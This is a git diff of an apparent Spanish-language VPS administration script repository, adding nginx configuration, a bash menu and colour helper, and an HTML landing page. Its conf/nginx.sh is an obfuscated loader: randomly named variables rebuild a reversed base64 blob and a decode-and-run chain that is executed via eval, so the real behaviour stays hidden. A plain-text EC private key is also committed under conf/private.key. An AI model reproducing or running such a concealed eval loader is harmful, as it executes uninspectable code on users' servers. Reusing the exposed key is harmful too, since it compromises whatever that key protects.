application/octet-stream; + access_log /var/log/nginx/access.log; + error_log /var/log/nginx/error.log; + client_max_body_size 32M; + client_header_buffer_size 8m; + large_client_header_buffers 8 8m; + + fastcgi_buffer_size 8m; + fastcgi_buffers 8 8m; + + fastcgi_read_timeout 600; + + set_real_ip_from 204.93.240.0/24; + set_real_ip_from 204.93.177.0/24; + set_real_ip_from 199.27.128.0/21; + set_real_ip_from 173.245.48.0/20; + set_real_ip_from 103.21.244.0/22; + set_real_ip_from 103.22.200.0/22; + set_real_ip_from 103.31.4.0/22; + set_real_ip_from 141.101.64.0/18; + set_real_ip_from 108.162.192.0/18; + set_real_ip_from 190.93.240.0/20; + set_real_ip_from 188.114.96.0/20; + set_real_ip_from 197.234.240.0/22; + set_real_ip_from 198.41.128.0/17; + real_ip_header CF-Connecting-IP; + + include /etc/nginx/conf.d/*.conf; +} diff --git a/conf/nginx.sh b/conf/nginx.sh new file mode 100755 index 0000000..86c035a --- /dev/null +++ b/conf/nginx.sh @@ -0,0 +1,2 @@ +#!/bin/bash +pwLzsZbYjuSatCgaLLzEPOkUTQtRNehTyVZiVfGIfOltvpuZvmmYhYYSfYkeqEhmpJdhdJsSiFXKBZEtYkuWisMjFgqlMjPSqkWM="EgXsPQjvkRhDKCGRLigXgLqpVrkcMViLcNgugSkHMroNaUOzsSdAsFdhMQRcrpNykTXvNUgKcqHXqlGGnQXJmVrwdOSJzlSSXfbf";yIQLpnKmHQDlnUYZDbESDrWIGgTBJVtohaNTUcSVATcAkwcsVZURQHmayBYAVFwKDRpQyLllIpxRJviwNOZzpldQvcAgVayEgzgp="ESAfGuCPFQyKBeGKKciwtGFoQWMLgQuVTigzkYWUsJWUjNpEQLPSEsSlZsokDhsXRQidWeUXBFhMmCqrPTnmuVqkWazzLOWlROdj";vhXOvPRLsAWnUHAzlCSbyqjDQHxuHynMrFrgrnEfgIHaWdhaCcXWwtDiluktBinQqDCuUckmEqsgvKbAyTCDRfjiBDgQDQPOHAgC="ch";WGNTjIUqMySAIjOPsYjwytgavSVYGmnpQBpkwxoGEwWvnMhbTYewmOBNjTXxrzNimOkdiWYdkqLAcxGeohHkdoaXtlpeHztlhoiR="4";omGWxMnyWAlQebmfqTvwPVsrQqgwJxEMaktmVSVnCdjjutbwefyOapTeGVIgisXYqueXTSlOyTaDalYJCYNPimEsVDScCPLOXQOZ="";CBpOduqtEnwYoTszNnqbFMIRNCckTwiOQxmCXajRDwNpwYiRIysjQvscdZAiwiglGhlhFZXxrAZPbZSpVwdFiAQMIeiawcVhWjhs="qdHuwoBwoULXJUsniXqOIxORMLoMUblzdsGmLZvbZBBbkxjGbYuLPabJHfwsoPvdaegWJxehXrLVNvyTUCRDRshaPQdgvOqHgpiD";vBFXYLCZhcDroLEAUvSwoDkPbwUYPANILsQnrJsVqnISAltqCmlkIqUYfcNLPPAQiGGxbDcMkhsytXNpndVqYyXyFKzIUmydomrs=" ==gCyVGduVmCjF2clpwO7cyTEFETBR1UOl0UFREIY5USH50Jg0mclZXLgc2ctZiJyFmYtAyZz1WCKgnbpdmbgwGbhxGbptWCK4WYlx2YgQHchlgClZ3btVmcvRXdhBCdwFWCKoyLk5iZu92YvgnbpdmbvMGdl9CIm52bj5Ceul2Zu9Ceul2Zu9yY0V2LgYWLg0mcJoAeul2ZuBSZnJXdwBCdwFWCKQWYvxWZy1ibv1WZhRGIsR3YtVGdzl3cJoAeul2ZuBSZsJWYzlGZgwGdj1WZ0NXezlgC45Wan5GIw9GdzBCb0NWblR3c5NXCKkyMgAiC7sTZu9GZJoQamlQCKIXY2BCdlNnb1lQCJoQZzxWZJkgC45Wan5GI0JXY0NXZyBCb0NWblR3c5NnJmQWYvxWZy1ibv1WZhRGIsR3YtVGdzl3cJkQCKUGbpZGJgYWLg0mcJkQCK4WZoRHI70VXgkiI9l2ZuRncvB3ekICIwVmcnxXflxWamtHJgQXYjhCJgs1WgYWaJkgCvRGI7AGZuYmbvN2L45Wan52LjRXZvAycsBGIulGIlxWamBicvZWCKgnbpdmbgA3b0NHIsR3YtVGdzl3cJoAeul2ZuBCbsFGbsl2aJoQZu9GZJoQamlQCKkmZJkQCKEDbkBCd1BHdmYSM1V3YgQXdwRnJmk2ZuRncvBHI0V2cuVnJmIyTEF0UVBSQZBSfpdmb0J3bwtHJg8EVSVUVQJCItJXZ21CInNXbJkQCJoQZzxWZJkQCKsWYlJnYmYSKn0VX6U2YhB3c6s1WnACZtAic0x3Jd1lOhhGcsFmObt1JgQWLgIHd8l2ZuRncvBHJg8GajVGKk0Tan5Gdy9GcJkQCJogblhGdgsTXdBSKi0Xan5Gdy9Gc7RiIgAXZydGfzFGdy9GcthCJgs1WgYWaJkQCKU2csVWCJowPkAibyVHdlJXCJkgCuVGa0ByOd1FIpdmb0J3bwRCI61CIbtFImlWCJowbkByOgk2ZuRncvBHInAiOyFmbp1WasVGIhV2clRGIlVXcg8GdyVWdwBCblBSZzVmcn5WStFzM7EzWlx1JkACctACZhVmcgUGbph2dJogchJWLgc2ctlgCi0Hdy9Gc45Wan52ek02N5sTMbVGXgoDWOl0ROByTUJVRVBVbzkzOxsVZcJCIl1CIvh2YllgCpM3ZyFGe8dSfyQCI05WayB3enAiI6ICIG1CIrdXY8dSf5QCI05WayB3enAya3FGfignbpdmbiACclJ3Z8BiIE5UQN10TDJCI21CIwVmcnxHIiQURINVSMJUQUNVRiAidtACclJ3ZgwHIu1CIQ1CIwNGdgkWLgYVLgY2bzxGKk0Ddy9Gc45Wan5WCKkiMgAiC7sTan5WLuVnZpEDIgowO7sWYlJnYpADIgogbpBCY1Aib1Z2Xu9Wa0NWZsV2cgBSZzF2YKs2YhJmCpZmCnglTJdkTgIVQMFEVT5USTVERg0mdtcCInglTJdkTg8EVSVUVQBiUB5USNlETFdCInglTJdkTg8EVSVUVQBiUJRUQROcQnAyYuVnZfVnbl1WCKU2csVmCnglTJdkTgIVQMFEVT5USnAyYuVnZfVnbl1WCK4WZoRHI70VXgkyJ45Wan52JgAXZydGfwVmcnBidtACclJ3Z8NXY0J3bw1GKkASIgs1WgYWaKIXYi1CInNXbKcymUKegUK+lUKeuVKOI5Wp44Wp4BSp4XSp45Wp4gkbliDCIgkbliDSuVKeuVKOI5Wp45Wp4bSp4BSp4XSp45Wp4gkblirwgUKOIDSp4rSp4XSp4DSp4ggbliPKliPIliPIliPIlijbliHIlirblivJlivYli/IlivKlifJliPIliPIliPJlirbliPIlivKlifJliPIlirwuVKOI7Wp47Wp4TSp4PSp44Wp4BSp4PSp4TSp4zSp4PSp4gACI7Wp4gsblivbliPJli/IlivblijbliHIli/IlivbliPJli/IlifCI8wDPgQXYjpgchVGbjpAZuYmbvN2LlRXas1SbkF2LjRXZvACctAicpR2atBiJmASXdBCZuYmbvN2LlRXas1SbkF2LjRXZvACZtASIgs1WKoQfKISXTyp4bBSRU5URNFEVDVkUS90Qg8ERBxUQUNlTJBCWOl0ROBSXTyp4blQbyMzOxsVZcJCIl1CIvh2YllgCyFmYtAyZz1WCKgnbpdmbJoAdtACeul2ZulgC45Wan5GIsxWYsxWarlgC/QSPzVHdhR3cgwHfg8DJ9MXd0FGdzBiJmASKJkgCsxWdu9idlR2Lg4jJgYmbvNmL45Wan52L45Wan52LjRXZvAyYtACeul2ZulgCsxWdu9idlR2Lg4jJggnbpdmbgQnchR3clJHIsR3YtVGdzl3cJoAbsVnbvYXZk9CI+YCI45Wan5WCKwGb152L2VGZvAiPmACZh9GblJXLu9WblFGZgwGdj1WZ0NXezlgCsxWdu9idlR2Lg4jJggnbpdmbgA3b0NHIsR3YtVGdzl3cJoAbsVnbvYXZk9CI+YCI45Wan5GI0JXY0NHIsR3YtVGdzl3cJoAKJkgC45Wan5GIlxmYh5WZgwGdj1WZ0NXezlgC45Wan5GIm1CIsxWarBnJmADOgYWLgwGbptGcJoAeul2ZuBCbsFGbsl2aJoAbsVnbvYXZk9CI+YCIm52bj5Ceul2Zu9iZu92Yv4Wah12LoNmbhJnYvcXYy9SMrRGdwlmcjN3LxADZpt2dvJHZv02bj5SYlRXan9yL6MHc0RHagYmbvNmL45Wan52L45Wan52LjRXZvAyTtACdld2dJogZvVWCK0XCK03IgACIgkgC7wGbhBCI55WZkBCIgAyIgACIgkgC7BCdo5CXvAifg42bpRXYj9GbjACIgASCKMCIgACIJoQZu9GIzdCeul2ZuBCa0l2dgMnc1NmbvNGIjACIgASCKQ3bvJHI05WZtV3YvRGIzdSZoNWYwFEImlGIsMXZslmZgM3clN2YhRHauAyb0ByczV2YjFGI55WZkByIgACIgkgCK03IgACIgkgC7MXbhJXYw9VanNGdzFmZgACIgACIgASZkVHbj5WagACIgMCIgACIJowOl1WYu9FdwlmcjN3Xpd2Y0NXYmRyc0BXayN2cvACIF1UQOVETJZ0XUBVSSN0UgASbhJXYw9VanNGdzFmZgACIgMCIgACIJowOwhGcugXZk5WagACelRmbp9VanNGdzFmZgACIgMCIgACIJowOwADM5oTMuAjLw4yNyEDIgAyczFGcfl2ZjR3chZGIgACIjACIgASCKsDbtRHagACIgACIgACIgACdv9mcgACIgMCIgACIJowegQCcoBnLcBifg42bpRXYj9GbjACIgASCKMCIgACIJoAMwATO6EjLw4CMucjMxAibvByZulmblR3cpxGIyVmdyV2cgk0RDR3chZEIvRHIzRHcpJ3YzBCUIBFIlhGdgM3chBHIjACIgASCKoQfgACIgkQCKszM0QjOx4CMuAjL3ITMv8iOwRHdoBCIgM3chB3X5h3byBHIgACIgACIgkQCKsHIkAHaw5CXg4HIu9Wa0F2YvxGIgACIJkgCjACIgASCJoAM4oTMuAjLw4yNyEDIu9GIn5WauVGdzlGbgUGajFGcBByb0Byc0BXayN2cgAFSQBSZoRHI5h3byBHIjACIgASCJoAbtRHaugHM18CIldWYwByYpRXY0NHIlhGdg8GdgMXZnFGcgI3byJXZgIXZ2JXZzBCdjVmcpRWZyByIgACIgkQCKowOs1Gdo5CNwQzLgACIgACIgACIgACIgACNwQDIgU2ZhB3Xy9mcyV2IgACIgkQCKoQfgACIgkQCKsTb0hmL4VGZulGIs1Gdo5CelRmbpBCI4VGZulGIgACIgACIgkQCKsDbtRHavgnbpdmbvUmchh2cvI3c19CIgACdv9mcgACIgACIgASCJoweg8CIu9Wa0F2YvxGIgACIJkgCKsjbpFWbgAyZvxmLzNXZjNWYuQ3cvh2L45Wan52Ln9GbvIXY29CIgc2bs91czV2YjF2IgACIgkQCKowO0N3boxWYj9GbgASZtFmbfJXZ2JXZzBCIgkQCKsTfpdmb0J3bwtHJgACIgACIg4WZ0NXasBCIgkQCKsHIyVmdyV2cJkgCm9WZg0CP8ASfdBzWm52bjl2ZutHJg4jPgQXYjlgCsxWdu9idlR2Lg4jJggnbpdmbgwGbhxGbptmC51CI45Wan5GIsxWY0NnbpBCdldWL0BXYKIXYi1CInNXbKcSuVKOI5Wp45Wp4gkblinblivJliHIlifJlinbliDSuVKOIgAymUKegUK+lUK+mUK+uUKuuVKeuVKOI5Wp45Wp4gkblijbliHIlifJlinbliDSuVKOI5Wp4gsJliHIlifJlinbliDSuVKeuVKuCbSp4LWp4PSp4rSp4XSp4DSp4DSp4TSp46Wp4DSp4rSp4XSp4DSp4gACIDSp4gMIliPIliPIliDyqUK+lUK+gUK+qUKegUK+oUKOIgMIlivKliHIliPKliDygUKOITSp4BSp4XSp4rSp4XSp4DSp4DSp4KsbliDyuVK+uVK+kUK+jUK+uVKOuVKegUK+jUK+uVK+kUK+jUKOIgAykUKegUK+jUK+kUK+sUKuuVK+uVK+kUK+jUK+kUKegUK+jUKOIgsbliPJliHIli/IlijbliPLlirbliPJliHIli/IlivbliPJli/IlivblifCI8wDPgQXYjpgchVGbjpQetAibpJWLyUGajFGchBSZnJXdwBCdwFGImYCId1FIpcibpJWLyUGajFGchdCIwVmcnx3cu9Wa0NWZsV2ctQXZn1SLgc2awRGKkAyWbpQetASZoNWYwFGIldmc1BHI0BXYgYiJg0VXgkyJlh2YhBXYnACclJ3Z8NnbvlGdjVGblNXL0V2Zt0CIntGckhCJgs1WKkXLgITZoNWYwFGIldmc1BHI0BXYgYiJg0VXgkyJyUGajFGchdCIwVmcnx3cu9Wa0NWZsV2ctQXZn1SLgc2awRGKkAyWbpQZu9GZKkmZJoQamlQCKsWYlJnYmYSKn0VX6U2YhB3c6s1WnACZtAic0x3Jd1lOhhGcsFmObt1JgQWLgIHd8l2ZuRncvBHJg8GajVGKk0Tan5Gdy9GcJkQCKU2csVWCJoQMsRGI0VHc0ZiJxUXdjBCd1BHdmYSan5Gdy9GcgQXZz5WdmYiIPRUQTVFIBlFI9l2ZuRncvB3ekAyTUJVRVBlIg0mclZXLgc2ctlQCJogblhGdgsTXdBSKi0Xan5Gdy9Gc7RiIgAXZydGfzFGdy9GcthCJgs1WgYWaJkgClNHbllgC/QCIuJXd0VmcJkgCuVGa0ByOd1FIpdmb0J3bwRCI61CIbtFImlWCK8GZgsDIpdmb0J3bwByJgoDeul2ZuBSYyFGcg8GdyVWdwBCblBSZzVmcn5WStFzM7EzWlx1JkACctACZhVmcgUGbph2dKoQfgAiCm52bj5Sfl1WYudXZutHJvQmLm52bj9Ceul2Zu9yY0V2Lg0XXwslZu92Ypdmb7RCIm1CI21WCKsHImYCId1FI91FMbZmbvNWan52ekASZtAyWbBCIKkCMxAyYtACZhVGagwHIn0lOtVnbsFmObdCIjRWLgIHdgwHIt9GZuFmc19idlR2LgQXYjhCJ9UWbh52dl5mCpAyJm52bj5Ceul2Zu9Ceul2Zu9yY0V2Ln0TXxsFInYmbvNmL0xWdhZWZk9CZuYmbvN2L45Wan52LjRXZvcSPdBzWggSPm52bjl2ZuBCbhN2bspwepgSan5WLuVnZKoQfKIychRncvBHJiASZtAyboNWZKETPppgIyFmdfNXY0J3bwRiIgwDP8ASZu9GZKIibcJjchZHJgEjchZHJi0zKzFGdy9GcgwHfg0VXgISKiIjchZHJgEjchZHJiACclJ3Z8NXY0J3bwRCIl1CIvh2YlhCJiAyWbpQKn0nMkACdulmcwt3JgIiOiAiRtAya3FGI8ByJ9lDJgQnbpJHc7dCIrdXYgwHI0J3bwRCIvh2YlhCJ9IjchZHImYCIpcSfxQCI05WayB3enAya3FGI8BCdy9GckAyboNWZoQSPxIXY2pwbkByO0J3bwBCZhVmcgUGbph2dKkiIOVEVTlETiACclJ3ZgwHIiQkTB1UTPNkIgYXLgAXZydGfgICRFh0UJxkQBR1UFJCI21CIwVmcnBCfg4WLgAVLgA3Y0BSatAiVtAiZvNHboQSPyFmdfNXY0J3bwpwchRncvBHI0V2cuVnC7BSKoMXY0J3bw1mCnNXbgU2YyV3bzpgCpZmCnNXbvMXZtF2ZvI3c19CI4tCIk9WboNGIgACIgACIgoAbsVnbvYXZk9CI+YCIic2ct9ichJWLnNXbv4Wah12LoNmbhJnYvcXYy9SMrRGdwlmcjN3LxADZpt2dvJHZv02bj5SYlRXan9yL6MHc0RHaiAyZz12LzVWbhd2LyNXdvAyTtACdld2dJogblhGdgsTXdByZz12LzVWbhd2LyNXdvASZtASIgs1WgYWaKg2chJ2LulmYvEyI | r";MUIiNxCksOZeRrXmucLzIlLcKWrFYxCYwoySbGjgFCnfDGALGhzrRreIXdgxXYDsXuWoAEvAOPUgkWFNpGdwcXpqOrZEcmdytQgE="JCopRVSSdqiHjLSBOmBAeCBTXGOUkXhKsFMnakIjBFJrGSpfmLKXpcmtTqmAYiydLiEZTmEwQuzBGhQmytyuAvcYBsUGLUJwOwSq";rhdBRrnSliYyhPRGXPdMcAMCydakNznEQXQdPkjiGnNrAubUNpJxSJRcPvMAzNZTrkTygWwabdfKQHWRxCKpZhaaFhtBXFVGFFEb="";QbyvLhwTVWoLcUoZkAqbFzuXahCKjCtMZCAsiXcrnQyBPGpplJENtYDDQGlVayUfWkCkVhLzOzoVHvRyNfBsanjLbIJivgcQZYar="as";erqgmVparlePfiUBeTOadpzZylqbGZHapmVgPCBdVyhgTwBcMaAhohpdPImpvDEhlZzMpWlfbGnHnJmlsQEpPAQyHSGOYAjNiCdx="MKwXOkrtgnAmGvqTUhtzggbRkjDvvysWZvKovBsXTFlknDSIVCJGIdwaasZAGbskKwOTXYpUlTltStaMlUHokeXoIpsGjgUGbMfT";vWDfFDAARqePgyiScrYZVcAQePXctDUymDDRpQMDfkekiasSaBIdzCEeKTYqQPuxnxVyseSrEzcTBOULaNyngdmXLGKHLwAZjIsM="WLROkHXFAoQGuTigzGwTQDxXQlGlwZyCUsSuzGnqJqhYTaPNIDrtlbNFSyafnzfKfCguTavasaTrkKNiaLTEmKeDQmQyVNLGYaDo";TdWNqsUYOYtBwpKfAoHJyEHwWUGqiIucvHpmpNBwXPVbRMhZYyYUcOiowXztNnglCpfTEFYZRpjhSqwwIjZZKacEunoiusjpoiYS="o";AKFObhZRVetQvrGfdznqXnXuLGzwdnwEMqfYUjasiRzQxprfKoeSzNTIMAiVwPoUYZeRmlyoZvBdAOSpgvQIYLaTFGsIFUKtQOXN="6";shTxPXBxyZKdDQLJriLZopgKHKJmYDuFqpfDhlyrXWhtlSyGOfFWoUmdwawdIidKagIzhruOvwYgUpnFuaMAdOWzitfEjGixkjWF="FzPCfYHHmSsNyxlYbISCoPntyXzjgbOLXSmaSkgftPINJUwejyrxwNDBORtYHLmmCHvSxMuUBcItUobovQLAVPxFcHwNknjSDAUT";MZCURXZeoTPLUISGatpQTXqexqzTrATlWFmTjvIoXMvFnoTvxabwFRzOmiDLzzbbYoHfZGBqvKQrGCVteviRojkmGXnUbxiyKYUB=" -d";gjqvLvPyKkpfHmWRcLfskWIWwAhjyNHOFKIjQgBLCnaMGzsgYrcyCSbuAzllnNrOgTCKRItpJYtNBgIeIlprGogZLxbXpcBIoSYW="acjKHHqhgsnXcKJLabqpaDymKetAVWCVkNzBEHVZQTzfdVBPTmncBFPNMAUJQiFArerTfUXbNrJgybGfoBjQlMHEcbbEQJXdGjJl";jekkhuEaluwjPruyryeujMGILkiIeXexQxXahcTjThffAoCgsSHYcFollmASkTLaMXANGEtDqxQqQWqkQttaMPPTGGnIuhhywHeF="";YmATfcviNemWnmHoWMEqMAABpkUiDruFiXDiplXrnjQSbMGoLGkYVkJMcvZDLYPMRxNJMqunSTKHiopSFiIdWQlbuFLReQTSXdRA="b";MByzOcbdEJYNhXDktsxRsadqlLayQDBGBVilUjkOjOIdjwFbnPwmFCEyPfMfZiSUQwarJmylJZWoPhimFCkzkSkkpKJWWoLTQTcc="e";boTzWPwkIYZHOLiaZqDBBfFiwJWDPFXvXFzzfGaJfpuuncJJdnAZvRFZEfQwscGLpHvcGLPjgooPdORkXZuFXDQvlqBMcZnnfQZh="v |";Tx=Eds;GfQgGHmiZyQNUUzUktuInMSGAgdCLfniHckuQyHzmjIgGvgkKzZoLEhRwKcswwhuhetuXRSbxhMHtxICfmlVFFMNxErYlHIFxvkC="";SfCDUBgcghDQYGxbIzUmrhwPakaXZNOZmjOXtZIDfiLpNRtfRfPksyzGGTCoHCfjdKOycCCtRmpmtQDlsmTKkYhQHoyUQUQGawwk=$(eval "$rhdBRrnSliYyhPRGXPdMcAMCydakNznEQXQdPkjiGnNrAubUNpJxSJRcPvMAzNZTrkTygWwabdfKQHWRxCKpZhaaFhtBXFVGFFEb$MByzOcbdEJYNhXDktsxRsadqlLayQDBGBVilUjkOjOIdjwFbnPwmFCEyPfMfZiSUQwarJmylJZWoPhimFCkzkSkkpKJWWoLTQTcc$vhXOvPRLsAWnUHAzlCSbyqjDQHxuHynMrFrgrnEfgIHaWdhaCcXWwtDiluktBinQqDCuUckmEqsgvKbAyTCDRfjiBDgQDQPOHAgC$omGWxMnyWAlQebmfqTvwPVsrQqgwJxEMaktmVSVnCdjjutbwefyOapTeGVIgisXYqueXTSlOyTaDalYJCYNPimEsVDScCPLOXQOZ$TdWNqsUYOYtBwpKfAoHJyEHwWUGqiIucvHpmpNBwXPVbRMhZYyYUcOiowXztNnglCpfTEFYZRpjhSqwwIjZZKacEunoiusjpoiYS$vBFXYLCZhcDroLEAUvSwoDkPbwUYPANILsQnrJsVqnISAltqCmlkIqUYfcNLPPAQiGGxbDcMkhsytXNpndVqYyXyFKzIUmydomrs$MByzOcbdEJYNhXDktsxRsadqlLayQDBGBVilUjkOjOIdjwFbnPwmFCEyPfMfZiSUQwarJmylJZWoPhimFCkzkSkkpKJWWoLTQTcc$boTzWPwkIYZHOLiaZqDBBfFiwJWDPFXvXFzzfGaJfpuuncJJdnAZvRFZEfQwscGLpHvcGLPjgooPdORkXZuFXDQvlqBMcZnnfQZh$rhdBRrnSliYyhPRGXPdMcAMCydakNznEQXQdPkjiGnNrAubUNpJxSJRcPvMAzNZTrkTygWwabdfKQHWRxCKpZhaaFhtBXFVGFFEb$YmATfcviNemWnmHoWMEqMAABpkUiDruFiXDiplXrnjQSbMGoLGkYVkJMcvZDLYPMRxNJMqunSTKHiopSFiIdWQlbuFLReQTSXdRA$GfQgGHmiZyQNUUzUktuInMSGAgdCLfniHckuQyHzmjIgGvgkKzZoLEhRwKcswwhuhetuXRSbxhMHtxICfmlVFFMNxErYlHIFxvkC$QbyvLhwTVWoLcUoZkAqbFzuXahCKjCtMZCAsiXcrnQyBPGpplJENtYDDQGlVayUfWkCkVhLzOzoVHvRyNfBsanjLbIJivgcQZYar$MByzOcbdEJYNhXDktsxRsadqlLayQDBGBVilUjkOjOIdjwFbnPwmFCEyPfMfZiSUQwarJmylJZWoPhimFCkzkSkkpKJWWoLTQTcc$AKFObhZRVetQvrGfdznqXnXuLGzwdnwEMqfYUjasiRzQxprfKoeSzNTIMAiVwPoUYZeRmlyoZvBdAOSpgvQIYLaTFGsIFUKtQOXN$omGWxMnyWAlQebmfqTvwPVsrQqgwJxEMaktmVSVnCdjjutbwefyOapTeGVIgisXYqueXTSlOyTaDalYJCYNPimEsVDScCPLOXQOZ$WGNTjIUqMySAIjOPsYjwytgavSVYGmnpQBpkwxoGEwWvnMhbTYewmOBNjTXxrzNimOkdiWYdkqLAcxGeohHkdoaXtlpeHztlhoiR$MZCURXZeoTPLUISGatpQTXqexqzTrATlWFmTjvIoXMvFnoTvxabwFRzOmiDLzzbbYoHfZGBqvKQrGCVteviRojkmGXnUbxiyKYUB$GfQgGHmiZyQNUUzUktuInMSGAgdCLfniHckuQyHzmjIgGvgkKzZoLEhRwKcswwhuhetuXRSbxhMHtxICfmlVFFMNxErYlHIFxvkC");eval "$jekkhuEaluwjPruyryeujMGILkiIeXexQxXahcTjThffAoCgsSHYcFollmASkTLaMXANGEtDqxQqQWqkQttaMPPTGGnIuhhywHeF$SfCDUBgcghDQYGxbIzUmrhwPakaXZNOZmjOXtZIDfiLpNRtfRfPksyzGGTCoHCfjdKOycCCtRmpmtQDlsmTKkYhQHoyUQUQGawwk$rhdBRrnSliYyhPRGXPdMcAMCydakNznEQXQdPkjiGnNrAubUNpJxSJRcPvMAzNZTrkTygWwabdfKQHWRxCKpZhaaFhtBXFVGFFEb$omGWxMnyWAlQebmfqTvwPVsrQqgwJxEMaktmVSVnCdjjutbwefyOapTeGVIgisXYqueXTSlOyTaDalYJCYNPimEsVDScCPLOXQOZ" \ No newline at end of file diff --git a/conf/private.key b/conf/private.key new file mode 100644 index 0000000..73098ac --- /dev/null +++ b/conf/private.key @@ -0,0 +1,5 @@ +-----BEGIN EC PRIVATE KEY----- +MHcCAQEEIMYE3nppvuiXnxn6Q30asP5ZL31C5wn3GHtMbR4ApYmLoAoGCCqGSM49 +AwEHoUQDQgAEXxS5w7AfK5EpIEkYhU7vjg8HZDUwn1nBBYxL3mPkMwSLEv3hottQ +cKVGe+f6A5K6RCQJQhd+P8Cnvx/uOlvkZg== +-----END EC PRIVATE KEY----- diff --git a/html/index.html b/html/index.html new file mode 100644 index 0000000..22f588d --- /dev/null +++ b/html/index.html @@ -0,0 +1,430 @@ + + + + + Servidor Web | @drowkid01 + + + + + + + + + + + + + + + + + + + +

DrowKid

+

VPSSCRIPTSBOTS Y MÁS 

+ +
+ + + + + + + + + + diff --git a/msg-bar/colores b/msg-bar/colores new file mode 100644 index 0000000..3379f71 --- /dev/null +++ b/msg-bar/colores @@ -0,0 +1,244 @@ +#!/bin/bash + +# menu maker (opciones 1, 2, 3,.....) + +flech='➮' cOlM='⁙' && TOP='‣' && TTini='=====>>►► 🐲' && cG='/c' && TTfin='🐲 ◄◄<<=====' && TTcent='💥' && RRini='【 ★' && RRfin='★ 】' && CHeko='✅' && ScT='🛡️' && FlT='⚔️' && BoLCC='🪦' && ceLL='🧬' && aLerT='⚠️' && _kl1='ghkey' && lLaM='🔥' && pPIniT='∘' && bOTg='🤖' && kL10='tc' && rAy='⚡' && tTfIn='】' && TtfIn='【' tTfLe='►' && am1='/e' && rUlq='🔰' && h0nG='🍄' && lLav3='🗝️' && m3ssg='📩' && pUn5A='⚜' && p1t0='•' nib="${am1}${kL10}" +cOpyRig='©' && mbar2=' •••••••••••••••••••••••' + +menu_func(){ + local options=${#@} + local array + for((num=1; num<=$options; num++)); do + echo -ne "\033[0;35m [\033[0;36m$num\033[0;35m]\033[0;33m ${flech} " + array=(${!num}) + case ${array[0]} in + "-vm")txt=$(echo ${array[@]}|sed 's/-vm//g') && echo -e "\033[1;30m[\e[1;31m!\e[1;30m]\033[1;31m$txt \e[1;30m[\e[1;31m!\e[1;30m]";; + "-fi")txt=( [0]="$(echo "${array[@]}"|sed 's/-fi//g'|cut -d';' -f1|sed 's/ //')" [1]="$(echo "${array[@]}"|sed 's/-fi//g'|cut -d';' -f2)") && echo -e "\e[1;37m${txt[0]} \e[1;30m[\e[38;5;219m#${txt[1]}\e[1;30m]";; + -bar|-bar2|-bar3|-bar4)echo -e "\033[1;37m${array[@]:1}\n$(msg ${array[0]})";; + *)echo -e "\033[1;37m${array[@]}";; + esac + done + } + +selection_fun() { +local selection="null" +local range +for((i=0; i<=$1; i++)); do range[$i]="$i "; done +while [[ ! $(echo ${range[*]}|grep -w "$selection") ]]; do + echo -ne "\033[1;30m╰► Seleccione su opción: \e[1;32m" >&2 + read selection + tput cuu1 >&2 && tput dl1 >&2 +done +echo $selection +} + +tittle() { +[[ -z $1 ]] && rt='adm-lite' || rt='ADMcgh' + clear&&clear + msg -bar +echo -e " ┏━╸╻ ╻╻ ╻╻┏ ╻┏ ┏━┓┏━╸┏━┓╻┏━┓╺┳╸ + ┃ ┣━┫┃ ┃┣┻┓┣┻┓╺━╸┗━┓┃ ┣┳┛┃┣━┛ ┃ + ┗━╸╹ ╹┗━┛╹ ╹╹ ╹ ┗━┛┗━╸╹┗╸╹╹ ╹"|lolcat + msg -bar +} +in_opcion(){ + unset opcion + if [[ -z $2 ]]; then + msg -nazu " $1: " >&2 + else + msg $1 " $2: " >&2 + fi + read opcion + echo "$opcion" +} +# centrado de texto +print_center(){ + if [[ -z $2 ]]; then + text="$1" + else + col="$1" + text="$2" + fi + + while read line; do + unset space + x=$(( ( 54 - ${#line}) / 2)) + for (( i = 0; i < $x; i++ )); do + space+=' ' + done + space+="$line" + if [[ -z $2 ]]; then + msg -azu "$space" + else + msg "$col" "$space" + fi + done <<< $(echo -e "$text") +} +# titulos y encabesados +title(){ + clear + msg -bar + if [[ -z $2 ]]; then + print_center -azu "$1" + else + msg "$@" + fi + msg -bar + } + +# finalizacion de tareas +enter(){ + msg -bar + text="►► enter para continuar ◄◄" + if [[ -z $1 ]]; then + print_center -blak "$text" + else + print_center "$1" "$text" + fi + read +} + +# opcion, regresar volver/atras +back(){ + msg -bar + echo -ne " \033[0;35m [\033[0;36m0\033[0;35m]\033[0;33m ${flech} \e[1;37m\e[41mSALIR\e[0m\n" + msg -bar + } + +msg() { +local colors="/etc/new-adm-color" +if [[ ! -e $colors ]]; then +COLOR[0]='\033[1;37m' #BRAN='\033[1;37m' +COLOR[1]='\e[31m' #VERMELHO='\e[31m' +COLOR[2]='\e[32m' #VERDE='\e[32m' +COLOR[3]='\e[33m' #AMARELO='\e[33m' +COLOR[4]='\e[34m' #AZUL='\e[34m' +COLOR[5]='\e[35m' #MAGENTA='\e[35m' +COLOR[6]='\033[1;97m' #MAG='\033[1;36m' +COLOR[7]='\033[1;49;95m' +COLOR[8]='\033[1;49;96m' +else +local COL=0 +for number in $(cat $colors); do +case $number in +1)COLOR[$COL]='\033[1;37m';; +2)COLOR[$COL]='\e[31m';; +3)COLOR[$COL]='\e[32m';; +4)COLOR[$COL]='\e[33m';; +5)COLOR[$COL]='\e[34m';; +6)COLOR[$COL]='\e[35m';; +7)COLOR[$COL]='\033[1;36m';; +8)COLOR[$COL]='\033[1;49;95m';; +9)COLOR[$COL]='\033[1;49;96m';; +esac +let COL++ +done +fi +NEGRITO='\e[1m' +SEMCOR='\e[0m' + case $1 in + -ne)cor="${COLOR[1]}${NEGRITO}" && echo -ne "${cor}${2}${SEMCOR}";; + -ama)cor="${COLOR[3]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -r | -red)echo -e "\e[91m$2\e[0m";; + -verm)echo -e "\e[1;30m[\e[1;31m!\e[1;30m] \e[91m$2 \e[1;30m[\e[1;91m!\e[1;30m]\e[0m";; + -verm2)cor="${COLOR[1]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -aqua)cor="${COLOR[8]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -azu)cor="${COLOR[6]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -verd)cor="${COLOR[2]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -bra)cor="${COLOR[0]}${SEMCOR}" && echo -e "${cor}${2}${SEMCOR}";; + -nazu) cor="${COLOR[6]}${NEGRITO}" && echo -ne "${cor}${2}${SEMCOR}";; + -nverd)cor="${COLOR[2]}${NEGRITO}" && echo -ne "${cor}${2}${SEMCOR}";; 